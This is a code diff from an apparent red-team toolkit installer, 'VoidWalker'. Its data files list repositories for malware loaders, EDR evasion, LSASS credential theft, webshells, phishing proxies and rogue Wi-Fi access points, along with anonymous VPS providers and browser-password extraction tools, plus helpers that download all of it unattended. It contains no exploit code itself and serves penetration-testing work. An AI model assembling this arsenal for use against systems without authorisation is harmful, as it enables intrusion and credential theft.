+ ("SysWhispers2", "https://github.com/jthuraisamy/SysWhispers2.git"),
+ ("SysWhispers3", "https://github.com/klezVirus/SysWhispers3.git"),
+ ("BokuLoader", "https://github.com/boku7/BokuLoader.git"),
+ ("ThreadlessInject", "https://github.com/CCob/ThreadlessInject.git"),
+ ("DInjector", "https://github.com/snovvcrash/DInjector.git"),
+ ("Freeze", "https://github.com/optiv/Freeze.git"),
+ ("ScareCrow", "https://github.com/optiv/ScareCrow.git"),
+ ("PEzor", "https://github.com/phra/PEzor.git"),
+ ("inceptor", "https://github.com/klezVirus/inceptor.git"),
+ ("Nimcrypt2", "https://github.com/icyguider/Nimcrypt2.git"),
+ ("ProtectMyTooling", "https://github.com/mgeeky/ProtectMyTooling.git"),
+ ("OffensiveRust", "https://github.com/trickster0/OffensiveRust.git"),
+ ("OffensiveNim", "https://github.com/byt3bl33d3r/OffensiveNim.git"),
+ ("UACME", "https://github.com/hfiref0x/UACME.git"),
+ # Loaders / Shellcode / Evasion
+ ("Freeze.rs", "https://github.com/optiv/Freeze.rs.git"),
+ ("NimPlant", "https://github.com/chvancooten/NimPlant.git"),
+ ("SilentMoonWalk", "https://github.com/klezVirus/SilentMoonWalk.git"),
+ ("Ekko", "https://github.com/Cracked5pider/Ekko.git"),
+ ("Cronos", "https://github.com/Idov31/Cronos.git"),
+ ("KrakenMask", "https://github.com/kleiton0x00/KrakenMask.git"),
+ ("AceLdr", "https://github.com/kleiton0x00/AceLdr.git"),
+ # Sleep Mask / Stack Spoof / Evasion
+ ("SleepyCrypt", "https://github.com/SolomonSklash/SleepyCrypt.git"),
+ ("GPUSleep", "https://github.com/lem0nSec/GPUSleep.git"),
+ ("CallStackMasker", "https://github.com/Cobalt-Strike/CallStackMasker.git"),
+ ("Draugr", "https://github.com/NtDallas/Draugr.git"),
+ ("Shelter", "https://github.com/Kudaes/Shelter.git"),
+ ("Pendulum", "https://github.com/GeorgePisaltu/pendulum.git"),
+ # Payload Hiding / Wrappers
+ ("Pixload", "https://github.com/chinarulezzz/pixload.git"),
+ ("Cloak", "https://github.com/EgeBalci/Cloak.git"),
+ ("SNOWCRASH", "https://github.com/redcode-labs/SNOWCRASH.git"),
+ ("WordSteal", "https://github.com/mdsecactivebreach/Farmer.git"),
+ # Maldev Academy Public Repos
+ ("HookingLsassForCredentials", "https://github.com/Maldev-Academy/HookingLsassForCredentials.git"),
+ ("LsassHijackingViaReg", "https://github.com/Maldev-Academy/LsassHijackingViaReg.git"),
+ ("GhostlyHollowingViaTamperedSyscalls", "https://github.com/Maldev-Academy/GhostlyHollowingViaTamperedSyscalls.git"),
+ ("ExecutePeFromPngViaLNK", "https://github.com/Maldev-Academy/ExecutePeFromPngViaLNK.git"),
+ ("EmbedPayloadInPng", "https://github.com/Maldev-Academy/EmbedPayloadInPng.git"),
+ ("DRMBinViaOrdinalImports", "https://github.com/Maldev-Academy/DRMBinViaOrdinalImports.git"),
+ ("RemoteTLSCallbackInjection", "https://github.com/Maldev-Academy/RemoteTLSCallbackInjection.git"),
+ ("MaldevAcademyLdr.1", "https://github.com/Maldev-Academy/MaldevAcademyLdr.1.git"),
+ ("EntropyReducer", "https://github.com/Maldev-Academy/EntropyReducer.git"),
+ ("HellHall", "https://github.com/Maldev-Academy/HellHall.git"),
+ ]
+ },
+ "Web Tools": {
+ "description": "dirsearch, sqlmap, XSStrike, wpscan, jwt_tool, API testing",
+ "repos": [
+ ("dirsearch", "https://github.com/maurosoria/dirsearch.git"),
+ ("wfuzz", "https://github.com/xmendez/wfuzz.git"),
+ ("arjun", "https://github.com/s0md3v/Arjun.git"),
+ ("paramspider", "https://github.com/devanshbatham/ParamSpider.git"),
+ ("LinkFinder", "https://github.com/GerbenJavado/LinkFinder.git"),
+ ("sqlmap", "https://github.com/sqlmapproject/sqlmap.git"),
+ ("ghauri", "https://github.com/r0oth3x49/ghauri.git"),
+ ("NoSQLMap", "https://github.com/codingo/NoSQLMap.git"),
+ ("XSStrike", "https://github.com/s0md3v/XSStrike.git"),
+ ("dalfox", "https://github.com/hahwul/dalfox.git"),
+ ("SSRFmap", "https://github.com/swisskyrepo/SSRFmap.git"),
+ ("wpscan", "https://github.com/wpscanteam/wpscan.git"),
+ ("joomscan", "https://github.com/OWASP/joomscan.git"),
+ ("CMSmap", "https://github.com/Dionach/CMSmap.git"),
+ ("jwt_tool", "https://github.com/ticarpi/jwt_tool.git"),
+ ("GraphQLmap", "https://github.com/swisskyrepo/GraphQLmap.git"),
+ ]
+ },
+ "Cloud Tools": {
+ "description": "AWS, Azure, GCP attack tools - pacu, ROADtools, ScoutSuite",
+ "repos": [
+ ("pacu", "https://github.com/RhinoSecurityLabs/pacu.git"),
+ ("prowler", "https://github.com/prowler-cloud/prowler.git"),
+ ("enumerate-iam", "https://github.com/andresriancho/enumerate-iam.git"),
+ ("cloudsplaining", "https://github.com/salesforce/cloudsplaining.git"),
+ ("PMapper", "https://github.com/nccgroup/PMapper.git"),
+ ("ROADtools", "https://github.com/dirkjanm/ROADtools.git"),
+ ("AzureHound", "https://github.com/BloodHoundAD/AzureHound.git"),
+ ("MicroBurst", "https://github.com/NetSPI/MicroBurst.git"),
+ ("AADInternals", "https://github.com/Gerenios/AADInternals.git"),
+ ("TokenTactics", "https://github.com/rvrsh3ll/TokenTactics.git"),
+ ("MSOLSpray", "https://github.com/dafthack/MSOLSpray.git"),
+ ("GraphRunner", "https://github.com/dafthack/GraphRunner.git"),
+ ("ScoutSuite", "https://github.com/nccgroup/ScoutSuite.git"),
+ ("cloudfox", "https://github.com/BishopFox/cloudfox.git"),
+ ]
+ },
+ "Container Tools": {
+ "description": "Kubernetes attack tools - peirates, CDK, kube-hunter",
+ "repos": [
+ ("peirates", "https://github.com/inguardians/peirates.git"),
+ ("CDK", "https://github.com/cdk-team/CDK.git"),
+ ("kube-hunter", "https://github.com/aquasecurity/kube-hunter.git"),
+ ("kubeaudit", "https://github.com/Shopify/kubeaudit.git"),
+ ("kubeletctl", "https://github.com/cyberark/kubeletctl.git"),
+ ("deepce", "https://github.com/stealthcopter/deepce.git"),
+ ("trivy", "https://github.com/aquasecurity/trivy.git"),
+ ]
+ },
+ "Phishing Tools": {
+ "description": "GoPhish, Evilginx2, Modlishka, payload generators",
+ "repos": [
+ ("gophish", "https://github.com/gophish/gophish.git"),
+ ("evilginx2", "https://github.com/kgretzky/evilginx2.git"),
+ ("Modlishka", "https://github.com/drk1wi/Modlishka.git"),
+ ("muraena", "https://github.com/muraenateam/muraena.git"),
+ ("zphisher", "https://github.com/htr-tech/zphisher.git"),
+ ("MailSniper", "https://github.com/dafthack/MailSniper.git"),
+ ("CredSniper", "https://github.com/Raikia/CredSniper.git"),
+ ("macro_pack", "https://github.com/sevagas/macro_pack.git"),
+ ("EvilClippy", "https://github.com/outflanknl/EvilClippy.git"),
+ ]
+ },
+ "Wireless Tools": {
+ "description": "WiFi attack tools - bettercap, airgeddon, wifite2, eaphammer",
+ "repos": [
+ ("bettercap", "https://github.com/bettercap/bettercap.git"),
+ ("airgeddon", "https://github.com/v1s1t0r1sh3r3/airgeddon.git"),
+ ("wifite2", "https://github.com/derv82/wifite2.git"),
+ ("hostapd-mana", "https://github.com/sensepost/hostapd-mana.git"),
+ ("wifiphisher", "https://github.com/wifiphisher/wifiphisher.git"),
+ ("eaphammer", "https://github.com/s0lst1c3/eaphammer.git"),
+ ("wifipumpkin3", "https://github.com/P0cL4bs/wifipumpkin3.git"),
+ ("fluxion", "https://github.com/FluxionNetwork/fluxion.git"),
+ # Modern 802.11 attack tooling (not packaged in apt)
+ ("AngryOxide", "https://github.com/Ragnt/AngryOxide.git"),
+ ("hcxtools", "https://github.com/ZerBea/hcxtools.git"),
+ ("hcxdumptool", "https://github.com/ZerBea/hcxdumptool.git"),
+ ("pyrit", "https://github.com/JPaulMora/Pyrit.git"),
+ # WPA3 SAE + WPA-Enterprise relay / rogue-AP
+ ("wacker", "https://github.com/blunderbuss-wctf/wacker.git"),
+ ("wpa_sycophant", "https://github.com/sensepost/wpa_sycophant.git"),
+ ("berate_ap", "https://github.com/sensepost/berate_ap.git"),
+ # KRACK (key reinstallation) PoC scripts
+ ("krackattacks-scripts", "https://github.com/vanhoefm/krackattacks-scripts.git"),
+ # aircrack-ng suite from source (newer than the apt build) + its
+ # maintained RTL8812AU injection driver for USB adapters
+ ("aircrack-ng", "https://github.com/aircrack-ng/aircrack-ng.git"),
+ ("rtl8812au", "https://github.com/aircrack-ng/rtl8812au.git"),
+ ]
+ },
+ "Webshells & Payloads": {
+ "description": "Webshells, reverse shells, exploit collections, PayloadsAllTheThings",
+ "repos": [
+ ("webshell-collection", "https://github.com/tennc/webshell.git"),
+ ("PayloadsAllTheThings", "https://github.com/swisskyrepo/PayloadsAllTheThings.git"),
+ ("webshells", "https://github.com/BlackArch/webshells.git"),
+ ("php-webshells", "https://github.com/JohnTroony/php-webshells.git"),
+ ("webshell-detect", "https://github.com/emposha/PHP-Shell-Detector.git"),
+ ("weevely3", "https://github.com/epinna/weevely3.git"),
+ ("p0wny-shell", "https://github.com/flozz/p0wny-shell.git"),74 more lines not shown.
voidwalker/data/packages.py
new file mode 100644
@@ -0,0 +1,234 @@
+"""Package-manager install lists (apt / brew / pipx / uv / go / cargo / gem)."""
+
+APT_TOOLS = [
+ # Reconnaissance & Scanning - HTB Dante essentials
+ # Note: For UDP scanning, use unicornscan, hping3, or nmap -sU
+ "nmap", "masscan", "zmap", "unicornscan", "netdiscover", "arp-scan",
+ "amass", "subfinder", "assetfinder", "dnsrecon", "dnsenum", "fierce",
+ "whois", "host", "dig", "traceroute", "hping3", "fping",
+ # Web Application Testing
+ "gobuster", "feroxbuster", "dirb", "dirbuster", "nikto", "whatweb",
+ "wpscan", "wfuzz", "sqlmap", "commix", "xsser", "cadaver",
+ "davtest", "curl", "wget", "httpie", "lynx",
+ # Password Attacks
+ "hydra", "medusa", "john", "hashcat", "hashid", "hash-identifier",
+ "crunch", "cewl", "wordlists", "seclists", "patator",
+ # Wireless
+ # (wifite omitted β its apt package wedges the unattended install; use the
+ # maintained wifite2 repo in TOOL_CATEGORIES["Wireless Tools"] instead)
+ "aircrack-ng", "reaver", "bully", "pixiewps", "kismet",
+ "mdk3", "mdk4", "macchanger", "iw", "wireless-tools",
+ # Wireless - modern WPA/PMKID capture + cracking pipeline
+ "hcxtools", "hcxdumptool", "cowpatty", "pyrit",
+ # Wireless - rogue AP / WPA-Enterprise (evil twin, EAP cred harvest)
+ "hostapd", "hostapd-wpe", "freeradius", "dnsmasq", "wpasupplicant",
+ # Wireless - radio management helper (unblock rfkill-soft-blocked adapters)
+ "rfkill",
+ # Wireless - injection/monitor-mode driver for RTL8812AU adapters
+ # (Alfa AWUS036ACH etc.) β the aircrack-ng suite needs this to inject
+ "realtek-rtl88xxau-dkms",
+ # Exploitation
+ "metasploit-framework", "exploitdb", "searchsploit",
+ "shellnoob", "veil", "msfpc",
+ # Sniffing & Spoofing
+ "wireshark", "tshark", "tcpdump", "ettercap-common", "ettercap-text-only",
+ "bettercap", "dsniff", "macof", "arpspoof", "responder",
+ # Post-Exploitation
+ "enum4linux-ng", "enum4linux", "smbclient", "smbmap", "rpcclient", "nbtscan",
+ "onesixtyone", "snmpwalk", "snmp", "redis-tools",
+ "ldap-utils", "nfs-common", "rpcbind", "krb5-user",
+ # Pivoting & Tunneling
+ "proxychains4", "sshuttle", "socat", "stunnel4", "redsocks",
+ "chisel", "netcat-traditional", "ncat", "cryptcat",
+ # Forensics & Recovery
+ "binwalk", "foremost", "exiftool", "steghide", "stegcracker",
+ "volatility3", "autopsy", "sleuthkit", "testdisk", "photorec",
+ "bulk-extractor", "scalpel", "dc3dd",
+ # Utilities
+ "zsh", "rlwrap", "tmux", "screen", "vim", "nano", "jq", "yq",
+ "tree", "htop", "ncdu", "lsof", "strace", "ltrace",
+ "gdb", "radare2", "ghidra",
+ # Development & Build - HTB Dante essentials
+ "golang-go", "rustc", "cargo", "python3-pip", "pipx", "python3-venv",
+ "ruby", "ruby-dev", "ruby-bundler", "nodejs", "npm",
+ "build-essential", "cmake", "make", "gcc", "g++",
+ "git", "git-lfs", "p7zip-full", "unzip", "zip",
+ "libssl-dev", "libffi-dev", "libpcap-dev",
+ "apt-transport-https", "ca-certificates", "gnupg", "lsb-release",
+ "e2fsprogs", "dnsutils", "ssh",
+ # Networking
+ "openvpn", "wireguard", "iproute2", "net-tools", "bridge-utils",
+ "iptables", "nftables", "ufw",
+]
+
+
+BREW_TOOLS = [
+ # Reconnaissance & Scanning
+ "nmap", "masscan", "amass", "subfinder", "dnsrecon", "dnsenum",
+ "whois", "fping",
+ # Web Application Testing
+ "gobuster", "feroxbuster", "nikto", "whatweb",
+ "sqlmap", "curl", "wget", "httpie",
+ # Password Attacks
+ "hydra", "john-jumbo", "hashcat", "crunch", "cewl",
+ # Wireless (offline handshake/PMKID cracking only β monitor-mode
+ # injection needs Linux drivers, so capture tools are omitted here)
+ "aircrack-ng", "hcxtools", "cowpatty",
+ # Sniffing & Spoofing
+ "tcpdump", "bettercap",
+ # Post-Exploitation
+ "samba", "nbtscan", "openldap",
+ # Pivoting & Tunneling
+ "proxychains-ng", "socat", "ncat",
+ # Utilities
+ "rlwrap", "tmux", "screen", "vim", "jq", "yq",
+ "tree", "htop", "ncdu",
+ "radare2",
+ # Development & Build
+ "go", "rust", "python@3", "pipx", "ruby", "node", "npm",
+ "cmake", "make",
+ "git", "git-lfs", "p7zip", "unzip", "zip",
+ "openssl", "libffi", "libpcap",
+ # Networking
+ "openvpn", "wireguard-tools",
+]
+
+
+BREW_CASKS = [
+ "wireshark",
+ "burp-suite",
+ "bloodhound",
+ "ghidra",
+]
+
+
+PIPX_TOOLS = [
+ # Active Directory & Windows
+ # NOTE: impacket, certipy-ad, bloodyAD, netexec are installed via UV (see UV_TOOLS)
+ "bloodhound",
+ "bloodhound-python",
+ "bloodhound-ce-python",
+ "ldapdomaindump",
+ "coercer",
+ "mitm6",
+ "adidnsdump",
+ "ldeep",
+ "pypykatz",
+ "pywerview",
+ "dploot",
+ "donpapi",
+ "roadrecon",
+ "pre2k",
+ "kerbrute",
+ "sprayhound",
+ "crackmapexec",
+ "evil-winrm",
+ # Web & Recon
+ "httpx",
+ "nuclei",
+ "subfinder",
+ "waybackurls",
+ "gau",
+ "arjun",
+ "photon",
+ "dirsearch",
+ "uro",
+ "hakrawler",
+ # Cloud & Infrastructure
+ "awscli",
+ "azure-cli",
+ "cloudsplaining",
+ "scoutsuite",
+ "prowler",
+ "pacu",
+ # Exploitation & Post-Ex
+ "pwntools",
+ "ropgadget",
+ "ropper",
+ "pwncat-cs",
+ "villain",
+ "hoaxshell",
+ # OSINT & Recon
+ "theHarvester",
+ "holehe",
+ "socialscan",
+ "maigret",
+ "sherlock-project",
+ "h8mail",
+ # Password & Crypto
+ "hashcrack",
+ "name-that-hash",
+ "stegcracker",
+ # Misc Utilities
+ "updog",
+ "python-pptx",
+ "xlrd",
+ "oletools",
+ "yara-python",
+ # Added: pure-Python, architecture-independent
+ "lsassy",
+ "masky",
+ "trevorspray",
+ "minidump",
+ "certsync",
+]
+
+
+GO_TOOLS = [
+ ("rustscan", "https://github.com/RustScan/RustScan/releases/latest/download/rustscan_2.3.0_amd64.deb"),
+ ("nuclei", "go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"),
+ ("httpx", "go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest"),
+ ("subfinder", "go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"),
+ ("naabu", "go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest"),
+ ("dnsx", "go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest"),
+ ("katana", "go install -v github.com/projectdiscovery/katana/cmd/katana@latest"),
+ ("ffuf", "go install -v github.com/ffuf/ffuf/v2@latest"),
+ ("gobuster", "go install -v github.com/OJ/gobuster/v3@latest"),
+ ("gau", "go install -v github.com/lc/gau/v2/cmd/gau@latest"),
+ ("hakrawler", "go install -v github.com/hakluke/hakrawler@latest"),
+ ("waybackurls", "go install -v github.com/tomnomnom/waybackurls@latest"),
+ ("assetfinder", "go install -v github.com/tomnomnom/assetfinder@latest"),
+ ("httprobe", "go install -v github.com/tomnomnom/httprobe@latest"),
+ ("anew", "go install -v github.com/tomnomnom/anew@latest"),
+ ("qsreplace", "go install -v github.com/tomnomnom/qsreplace@latest"),
+ ("dalfox", "go install -v github.com/hahwul/dalfox/v2@latest"),
+ ("kxss", "go install -v github.com/Emoe/kxss@latest"),
+ ("crlfuzz", "go install -v github.com/dwisiswant0/crlfuzz/cmd/crlfuzz@latest"),
+ ("interactsh-client", "go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest"),
+ # Added: compiled via `go install`, so they build natively on any arch (x86_64/arm64/armv7)
+ ("trufflehog", "go install -v github.com/trufflesecurity/trufflehog/v3@latest"),
+ ("tlsx", "go install -v github.com/projectdiscovery/tlsx/cmd/tlsx@latest"),
+ ("asnmap", "go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest"),
+ ("mapcidr", "go install -v github.com/projectdiscovery/mapcidr/cmd/mapcidr@latest"),
+ ("uncover", "go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest"),
+ ("cdncheck", "go install -v github.com/projectdiscovery/cdncheck/cmd/cdncheck@latest"),
+ ("shuffledns", "go install -v github.com/projectdiscovery/shuffledns/cmd/shuffledns@latest"),
+]
+
+
+CARGO_TOOLS = [
+ "rustscan",
+ "feroxbuster",
+ "ripgrep",
+ "fd-find",
+ "bat",
+ "exa",
+ "hyperfine",
+]
+
+
+GEM_TOOLS = [
+ # Ruby-based Penetration Testing Tools
+ "wpscan", # WordPress security scanner
+ "evil-winrm", # Windows Remote Management (WinRM) shell
+]
+
+
+UV_TOOLS = [
+ "impacket",
+ "bloodyad",
+ "certipy-ad",
+ "netexec",
+ "bofhound", # turn netexec/ldapsearch logs into BloodHound-CE ingest JSON
+]
+voidwalker/data/sources.py
new file mode 100644
@@ -0,0 +1,71 @@
+"""Curated reference links, guides and cheatsheets (non-tool resources)."""
+
+SOURCES_AND_GUIDES = {
+ "Reference Repositories": [
+ ("maldev-links (curated)", "https://github.com/CodeXTF2/maldev-links"),
+ ("RedTeam-Tools (A-poc)", "https://github.com/A-poc/RedTeam-Tools"),
+ ("PayloadsAllTheThings", "https://github.com/swisskyrepo/PayloadsAllTheThings"),
+ ("PentestTools (arch3rPro)", "https://github.com/arch3rPro/PentestTools"),
+ ("atomic-red-team", "https://github.com/redcanaryco/atomic-red-team"),
+ ("HackTricks", "https://book.hacktricks.xyz/"),
+ ("HackTricks-Cloud", "https://cloud.hacktricks.xyz/"),
+ ("LOLBAS Project", "https://lolbas-project.github.io/"),
+ ("GTFOBins", "https://gtfobins.github.io/"),
+ ("WADComs", "https://wadcoms.github.io/"),
+ ("The Hacker Recipes", "https://www.thehacker.recipes/"),
+ ("ired.team notes", "https://www.ired.team/"),
+ ("OSCP-Cheatsheet", "https://github.com/0xsyr0/OSCP"),
+ ],
+ "AD Enumeration & Recon": [
+ ("ldapdomaindump", "https://github.com/dirkjanm/ldapdomaindump"),
+ ("linWinPwn", "https://github.com/lefayjey/linWinPwn"),
+ ("PCredz", "https://github.com/lgandx/PCredz"),
+ ("scavenger", "https://github.com/SpiderLabs/scavenger"),
+ ("adidnsdump", "https://github.com/dirkjanm/adidnsdump"),
+ ("EyeWitness", "https://github.com/RedSiege/EyeWitness"),
+ ("Chimera (PS obfuscator)", "https://github.com/tokyoneon/Chimera"),
+ ("WMIOps", "https://github.com/FortyNorthSecurity/WMIOps"),
+ ],
+ "SCCM Attack Tooling": [
+ ("Misconfiguration-Manager", "https://github.com/subat0mik/Misconfiguration-Manager"),
+ ("sccmhunter", "https://github.com/garrettfoster13/sccmhunter"),
+ ("SharpSCCM", "https://github.com/Mayyhem/SharpSCCM"),
+ ],
+ "Metasploit Modules (ADCS)": [
+ ("esc_update_ldap_object", "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/ldap/esc_update_ldap_object.rb"),
+ ("ldap_esc_vulnerable_template", "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb"),
+ ],
+ "Commercial C2 Frameworks": [
+ ("Cobalt Strike", "https://www.cobaltstrike.com/"),
+ ("Nighthawk (MDSec)", "https://www.mdsec.co.uk/nighthawk/"),
+ ("Brute Ratel C4", "https://bruteratel.com/"),
+ ("Pentera", "https://pentera.io/"),
+ ],
+ "Maldev Learning": [
+ ("Maldev Academy (course)", "https://maldevacademy.com/"),
+ ("Maldev Academy Code Search", "https://search.maldevacademy.com/"),
+ ("Malforge Group", "https://malforge-group.in/"),
+ ("oioio-space/maldev (Go lib)", "https://github.com/oioio-space/maldev"),
+ ("0xbekoo/maldev", "https://github.com/0xbekoo/maldev"),
+ ],
+ "Anonymous VPS Providers": [
+ ("RamNode", "https://www.ramnode.com/"),
+ ("NiceVPS", "https://nicevps.net/"),
+ ("Cinfu", "https://www.cinfu.com/"),
+ ("PiVPS", "https://pivps.com/"),
+ ("SecureDragon", "https://securedragon.net/"),
+ ("BitLaunch", "https://bitlaunch.io/"),
+ ("BitHost", "https://bithost.io/"),
+ ],
+ "Chrome / Browser Extraction": [
+ ("ChromeKatz", "https://github.com/Meckazin/ChromeKatz"),
+ ("ChromElevator (ABE Decryption)", "https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption"),
+ ("chrome_v20_decryption", "https://github.com/runassu/chrome_v20_decryption"),
+ ("chrome_v20_password_dump", "https://github.com/nicehash/chrome_v20_password_dump.py"),
+ ("chrome-bypass (ABE v20 PoC)", "https://github.com/nicehash/chrome-bypass"),
+ ("ChromeDumper", "https://github.com/nicehash/ChromeDumper"),
+ ("HackBrowserData", "https://github.com/moonD4rk/HackBrowserData"),
+ ("ChromePass (NirSoft)", "https://www.nirsoft.net/utils/chromepass.html"),
+ ],
+}
+voidwalker/data/workspace.py
new file mode 100644
@@ -0,0 +1,96 @@
+"""Workspace / engagement directory scaffold."""
+
+WORKSPACE_DIRS = [
+ "engagements/_template/notes",
+ "engagements/_template/scans/nmap",
+ "engagements/_template/scans/web",
+ "engagements/_template/scans/ad",
+ "engagements/_template/loot/creds",
+ "engagements/_template/loot/hashes",
+ "engagements/_template/loot/tickets",
+ "engagements/_template/loot/screenshots",
+ "engagements/_template/exploits",
+ "engagements/_template/reports",
+ "tools/windows/enum",
+ "tools/windows/privesc",
+ "tools/windows/creds",
+ "tools/windows/kerberos",
+ "tools/windows/lateral",
+ "tools/windows/adcs",
+ "tools/windows/coercion",
+ "tools/windows/persistence",
+ "tools/windows/evasion",
+ "tools/windows/inveigh",
+ "tools/windows/misc",
+ "tools/windows/precompiled",
+ "tools/windows/sql",
+ "tools/windows/exchange",
+ "tools/windows/delegation",
+ "tools/windows/relay",
+ "tools/windows/sysinternals",
+ "tools/powershell/recon",
+ "tools/powershell/privesc",
+ "tools/powershell/creds",
+ "tools/powershell/lateral",
+ "tools/powershell/persistence",
+ "tools/powershell/evasion",
+ "tools/powershell/ad",
+ "tools/linux/enum",
+ "tools/linux/privesc",
+ "tools/linux/static",
+ "tools/linux/pivoting",
+ "tools/linux/scanning",
+ "tools/pivoting/chisel",
+ "tools/pivoting/ligolo-ng",
+ "tools/pivoting/misc",
+ "tools/windows/pivoting",
+ "tools/windows/scanning",
+ "tools/maldev/loaders",
+ "tools/maldev/injection",
+ "tools/maldev/evasion",
+ "tools/maldev/crypters",
+ "tools/maldev/shellcode",
+ "tools/maldev/persistence",
+ "tools/maldev/misc",
+ "tools/c2",
+ "tools/c2/implants",
+ "tools/web/scanners",
+ "tools/web/sqli",
+ "tools/web/xss_ssrf",
+ "tools/web/cms",
+ "tools/web/api",
+ "tools/cloud/aws",
+ "tools/cloud/azure",
+ "tools/cloud/gcp",
+ "tools/cloud/kubernetes",
+ "tools/container/kubernetes",
+ "tools/container/escape",
+ "tools/container/scanners",
+ "tools/phishing/frameworks",
+ "tools/phishing/email",
+ "tools/phishing/payloads",
+ "tools/wireless/wifi",
+ "tools/wireless/bluetooth",
+ "tools/wireless/rf",
+ "payloads/webshells/php",
+ "payloads/webshells/aspx",
+ "payloads/webshells/jsp",
+ "payloads/reverse-shells",
+ "payloads/shellcode",
+ "wordlists/passwords",
+ "wordlists/usernames",
+ "wordlists/directories",
+ "wordlists/subdomains",
+ "wordlists/kerberos",
+ "wordlists/custom",
+ "notes/cheatsheets",
+ "notes/methodology",
+ "loot",
+ "scans",
+ "reports/templates",
+ "tools/windows/compiled",
+ "tools/windows/ad",
+ "tools/ad",
+ "tools/build-src",
+]
+voidwalker/download.py
new file mode 100644
@@ -0,0 +1,241 @@
+"""Download / extraction / subprocess helpers.
+
+Auto-extracted from the original monolithic voidwalker.py; method bodies are
+unchanged except where noted. Part of the VoidWalker package refactor.
+"""
+from __future__ import annotations
+
+import gzip
+import json
+import os
+import re
+import shutil
+import signal
+import subprocess
+import sys
+import tarfile
+import tempfile
+import threading
+import time
+import random
+import urllib.parse
+import urllib.request
+import zipfile
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from pathlib import Path
+from typing import Dict, List, Optional, Tuple
+from urllib.error import HTTPError, URLError
+
+from .version import __version__
+from .theme import Colors, Symbols
+from .hostinfo import HostInfo, select_asset
+from .data.workspace import WORKSPACE_DIRS
+from .data.catalog import TOOL_CATEGORIES
+from .data.packages import (
+ APT_TOOLS, BREW_TOOLS, BREW_CASKS, PIPX_TOOLS,
+ GO_TOOLS, CARGO_TOOLS, GEM_TOOLS, UV_TOOLS,
+)
+from .data.binaries import CROSS_PLATFORM_TOOLS, SPECIAL_TOOLS
+from .data.build_targets import BUILD_TARGETS
+from .data.sources import SOURCES_AND_GUIDES
+
+
+# --- Non-interactive git ----------------------------------------------------
+# The installer clones many public GitHub repos unattended, in parallel. If one
+# is private, renamed, or removed, git tries to authenticate β and on Windows,
+# via Git Credential Manager, that pops a username / password / email prompt for
+# *every* such repo, burying the user in dialogs (the reported symptom). These
+# flags and env vars make every git invocation fail fast instead of prompting:
+# * GIT_TERMINAL_PROMPT=0 git's own terminal prompt off
+# * -c credential.helper= disable any configured helper (e.g. GCM),
+# so it can't raise its own GUI/browser auth
+# * -c credential.interactive=false /
+# GCM_INTERACTIVE=Never silence Git Credential Manager
+# * empty GIT_ASKPASS / SSH_ASKPASS +
+# -c core.askPass= no GUI askpass helper gets launched
+# * GIT_SSH_COMMAND=... BatchMode no SSH passphrase / host-key prompts
+# A repo that needs auth is then simply counted as a failed download, which is
+# the right outcome for an unattended arsenal fetch.
+_GIT_NONINTERACTIVE_FLAGS = [
+ "-c", "credential.helper=",
+ "-c", "credential.interactive=false",
+ "-c", "core.askPass=",
+]
+
+_GIT_NONINTERACTIVE_ENV = {
+ "GIT_TERMINAL_PROMPT": "0",
+ "GCM_INTERACTIVE": "Never",
+ "GIT_ASKPASS": "",
+ "SSH_ASKPASS": "",
+}
+
+
+class DownloadMixin:
+ def download_file(self, url: str, dest: Path, timeout: int = 120, max_retries: int = 3) -> bool:
+ if dest.exists() and dest.stat().st_size > 0:
+ self.log(f"Skipped existing file: {dest}")
+ return True
+
+ for attempt in range(max_retries):
+ try:
+ dest.parent.mkdir(parents=True, exist_ok=True)
+ req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
+ with urllib.request.urlopen(req, timeout=timeout) as resp:
+ with open(dest, 'wb') as f:
+ f.write(resp.read())
+ if dest.suffix in ['', '.sh', '.py']:
+ dest.chmod(0o755)
+ self.log(f"Successfully downloaded {url} to {dest}")
+ return True
+ except Exception as e:
+ self.log(f"Download failed for {url} (Attempt {attempt+1}/{max_retries}): {str(e)}")
+ if attempt < max_retries - 1:
+ time.sleep(2 ** attempt)
+ return False
+
+ def download_and_extract_zip(self, url: str, dest: Path, timeout: int = 120, max_retries: int = 3) -> bool:
+ if dest.exists() and any(dest.iterdir()):
+ self.log(f"Skipped existing directory: {dest}")
+ return True
+
+ for attempt in range(max_retries):
+ try:
+ dest.mkdir(parents=True, exist_ok=True)
+ with tempfile.NamedTemporaryFile(suffix='.zip', delete=False) as tmp:
+ req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
+ with urllib.request.urlopen(req, timeout=timeout) as resp:
+ tmp.write(resp.read())
+ tmp_path = tmp.name
+
+ with zipfile.ZipFile(tmp_path, 'r') as zf:
+ zf.extractall(dest)
+ os.unlink(tmp_path)
+ self.log(f"Successfully downloaded and extracted {url} to {dest}")
+ return True
+ except Exception as e:
+ self.log(f"ZIP Download failed for {url} (Attempt {attempt+1}/{max_retries}): {str(e)}")
+ if attempt < max_retries - 1:
+ time.sleep(2 ** attempt)
+ return False
+
+ @staticmethod
+ def harden_git_environment() -> None:
+ """Make git non-interactive for this process and every child it spawns.
+
+ Called once at startup so that git clones run by the spawned installer
+ shell scripts (pimpmykali, pentest-env) inherit the same no-prompt
+ behaviour as our own :meth:`git_clone`, rather than only the git
+ commands we launch directly.
+ """
+ os.environ.update(_GIT_NONINTERACTIVE_ENV)
+ os.environ.setdefault("GIT_SSH_COMMAND", "ssh -oBatchMode=yes")
+
+ def run_git(self, args: List[str], timeout: int = 120):
+ """Run a git subcommand fully non-interactively.
+
+ Prepends the credential-suppressing ``-c`` flags, forces a
+ non-interactive environment, and closes stdin so git can never block
+ (or, on Windows, pop a Credential Manager dialog) waiting for input.
+ Returns the :class:`subprocess.CompletedProcess`.
+ """
+ env = os.environ.copy()
+ env.update(_GIT_NONINTERACTIVE_ENV)
+ env.setdefault("GIT_SSH_COMMAND", "ssh -oBatchMode=yes")
